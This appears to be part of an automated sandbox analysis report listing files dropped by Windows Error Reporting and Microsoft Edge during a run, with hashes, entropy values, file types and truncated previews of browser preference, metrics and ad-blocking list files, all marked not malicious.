Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.3.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD80C.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	4.4444359507404805
Encrypted:	false
SSDEEP:	48:cvIwWl8zseJg771I9tSWpW8VYlWYm8M4Jk5LvM6Fgyq8vU5LvMAaMuGFd:uIjfUI7Sz7V8JcjMjWsjMA1usd
MD5:	CCBAB8AE73B6550915B37B63AE8125D2
SHA1:	AE9AC6D8850B751CEB2995931AC7ED1AAF9C5C73
SHA-256:	1D84C98B9147CB65EC18609E4B5E1DBD977BDA53211EBC40BF8C8AEFD465D166
SHA-512:	FE8A425E0FE16421160D73746CF61108B2A7AF8E0B2696785AA33CD42E760269C69735B0D9E55E5096D7BA67561D391873E269B677BA01B84D0AA6EBCB5D654F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="638243" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0dd0bca1-b700-47bf-a37d-fdd918cac765.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45665
Entropy (8bit):	6.086719289954612
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5da9O1KKGf4iDdmwA9zjOrOYh/CioF7DRo+yM/42cRaLMos7O:cMk1rT8H1a5JrFFoF7VLyMV/Yosy
MD5:	AD9660A63F3C7622C563FC45C71C1A9A
SHA1:	E6BA71B35859614AC30A8B8339AC3911AD52EC42
SHA-256:	882F0AC0361F1B6812C59D56A150BC8D0BD9FDC571B308E19654FDE288F7D8B1
SHA-512:	2CE65C688FC04932557629937AF2AC27A68815266A5CE61B74FD3CD2C5EB66B077A1C81B81C994C64664469471BF01FBD38B1886706D965FB8ECED408364EA9D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734612274"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1b040335-05e7-493b-bbcb-0ea5f1977337.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45742
Entropy (8bit):	6.086664734746188
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5fn9O1KKGf4iDKmwA9zjOrOYh/CioF7DRo+yM/42cRaLMos7O:cMk1rT8Hnn5GrFFoF7VLyMV/Yosy
MD5:	FACF936D2C85C344F16FC3BEF59F3F9A
SHA1:	A1C5F983D3C2BB8E393B98CADC4B44DD94252CDD
SHA-256:	D0E1E91986CD360127897E8745F1C778DD8A3A6C53E427AFF646157C4FDF78B1
SHA-512:	969352C9D6E182A1224C197436998353E0F9AF0579E3F8BFAC90AA8351A5C61DA45EA8CB689F4696D06266D67173EEEA7AC1015492879FE8B6637FC210673086
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734612274"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\57426db8-e870-4061-bb52-3928e92fbbb4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45742
Entropy (8bit):	6.08666396988588
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5fa9O1KKGf4iDKmwA9zjOrOYh/CioF7DRo+yM/42cRaLMos7O:cMk1rT8Hna5GrFFoF7VLyMV/Yosy
MD5:	D3DB12264690405F1F827409E4200E7A
SHA1:	051462A55084DE92AF208826B2E5FB5C3F0E8EA5
SHA-256:	EE6BEB0B45C3B2C8FC6A65FB220F227E2F08CEA93501E61831A6E193B9A3DED6
SHA-512:	8CA4D3CD8C66B359C6154668932D780DD2CDFC9083E8656D297A2ED8F7C426A656C2E9A3444598372375C22708BD04AD3550FFEFE1ED32AEA5D7F9198A00684C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734612274"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7c29a309-55c0-409a-b3a2-8c3f2ef54ca3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44695
Entropy (8bit):	6.095110693932145
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khFKKGf4iDPaw6RRzakN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynyMN7VLyMV/YoskFoz
MD5:	33AB00B593377A2C0FB3BD78371BC918
SHA1:	B88841E43341FBAD79186030ECC4C89228CA4DFB
SHA-256:	6AD5DAC6FCA081FC80F952F6BAB7DAE322321070C041D3277BFF6FA0E7D18900
SHA-512:	E77E204A3913575704B44C3402F231ACDBC2F63DE2701EB221D39484FAE2A846994FFFE44BC58014F81AC8C2032744B5694E034333E50E1C6C922D5A294902F5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7f8aee55-db54-4106-afed-af2a5b2c2a6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44345
Entropy (8bit):	6.09721514952969
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5dauuKKGf4iDLo7wJJEFI2+9rOYhD7DRo+yM/42cRaLMos71:cMk1rT8H1awLfrB7VLyMV/YosB
MD5:	4535B7ABC23BE4F91F207546BFF664A7
SHA1:	14DA3F07560A7D730508B6045C159752690FB7FC
SHA-256:	683C2FC83DEF688D2E1922181915160BED18E9570A410C8D8E4745ABF151573B
SHA-512:	C940F791CE0F330E2BF046197235C31212FDD43FFE3B1401DBE396C1D9F2E4C1FACB68D0BD88702F246A47D3BD1D2FD3ABB3FA9A251376D6BC79890DEDF226E0
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734612274"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\fad836d3-bb35-40ce-ac07-c54cd98b2433.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6764152C-1EFC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.048007975618299455
Encrypted:	false
SSDEEP:	192:t620m5tmdnOAUAYFJ/7qiRDs0JEYg7XcQjI/9JEmErxhh+JNV9URQsIe2RNn8y0d:c20UtKK01C0hONo74N08T2RGOD
MD5:	B89E073E9D4962325AFD6252A840493F
SHA1:	C175645677CA3BFC67754A583CDBE5CB4CFB6084
SHA-256:	2CC0C3D89C44E4A947529ABB5C72761C434779A35762C237052F1293B92B966D
SHA-512:	05816462E5214DFE2000F4DF828F0E0247CC9C9D0B407AA691D379B985FBEF1E6DB744771A19EAEAED18C1E0DFA9BCC094589E5BEC68B7B9CA4D624A4C9322C6
Malicious:	false
Preview:	...@..@...@.....C.].....@................k..h[..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".qrimds20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..Uu.$r.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6764152C-4AC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4460774059278513
Encrypted:	false
SSDEEP:	3072:qecZ7bIGUZ5eCL9EWfeuB/Wg1HFtTf7UjA2jmrALVYm1E/Cvrg1HFGm:U7bw6CLDpB/WaHPTgjrm0Gm1EaraHA
MD5:	54A885AF6C0E3C2AC102D3622BC3B21A
SHA1:	901CFD83EF6B39C58A013EEDB9F05BD4C54EDFBA
SHA-256:	DAEC775B9BAE94B5A44C5988ED9D6B350AB42D88560A55E926CA44AF26BC5B7B
SHA-512:	AD12B15C00F44C25FF3DCF7076A8E38456105A7C76A520C5BD47C815B8CF3590512443D7C6D683EAC8327DFB7658AD8C262BABA4197188B2EF042BB290C639AF
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P...(...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".qrimds20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K.u.$r.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67642BB4-1D30.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.045856658014177466
Encrypted:	false
SSDEEP:	192:SWw0pqtm2nOA4YHJgAEWjgOXPvIjeUqkf7GlhBeNsPU1gQcWR4bn8y08Tcm2RGOD:Hw0ctZ9jMaPhQwkgSRo08T2RGOD
MD5:	42B8E5C52DBCB335912A7BEEA5283E5D
SHA1:	728DC0F10E88FC236E0D3165F854C13FACFA8FD6
SHA-256:	EE4FC70DCF1502EC27E4506D02C77BB01EE7E35B1F846F16FD58AD2EBC7CAE45
SHA-512:	849D5C077CE2F125C0E53644552396291FFE56AD18D1FD64F78FB11CA3341197837905BC3E023CC88DCAB85997CF0B0FB319111F99ACCF952D27DFB4090332CB
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..@W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".qrimds20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..Uu.$r.>.........."....."...24.."."fjL7/dzDV6NX7tejBwTY8i2ruxHixS/Ze1voZu2CfYU=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.173746321783774
Encrypted:	false
SSDEEP:	3:FiWWltlrPYxfJrJfgAvMTAUFgBVP/Sh/Jzv/jSIHmsdJEU9VUnC:o1rPWfJloAvEAU2BVsJDL7b/3U
MD5:	56B782EF5AC82F5CDC5B594FE1B44BFC
SHA1:	1992F6712E9364D4F3713A4C5F2E1AA6AC21A470
SHA-256:	7DD752B9C7B76033B2298E81E79FF618AF5F4FA76895B9DF4126BD2119A4D815
SHA-512:	7B026A9278B6120BA5AA196D0ACADCAFC3876B618BD655D3C1D23C15B73C74217AF534AE9083B45185AF1855959A1575EA7DD2B31D90F067B553542A75915F38
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."fjL7/dzDV6NX7tejBwTY8i2ruxHixS/Ze1voZu2CfYU="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0b70421d-d8b0-4363-a8db-929d22e03767.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9412
Entropy (8bit):	5.105812035808021
Encrypted:	false
SSDEEP:	192:stWSWsA0SyaNP9kNG3P88bV+FOQQA4I+P8iYJ:stWBsA0StJ5bGvQ0l
MD5:	ED8792C6EFBDC1E014F16DA1C7E30161
SHA1:	F62838828B226D4D34F60DA719356A29D7CCA3A9
SHA-256:	25F1B8BC17C0380CC14D1BA4E6C6037A12291A8C2ED872CB7CFCBCCEEB7291F6
SHA-512:	AD4F3240537C813869975A72975F4E6C2BFB243BCC16394842D94C12CE34B08EFBCDCC6E24B2BD0FCBF7BFCC98F17F695429456D0F324619873123244BC51615
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379085869832800","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1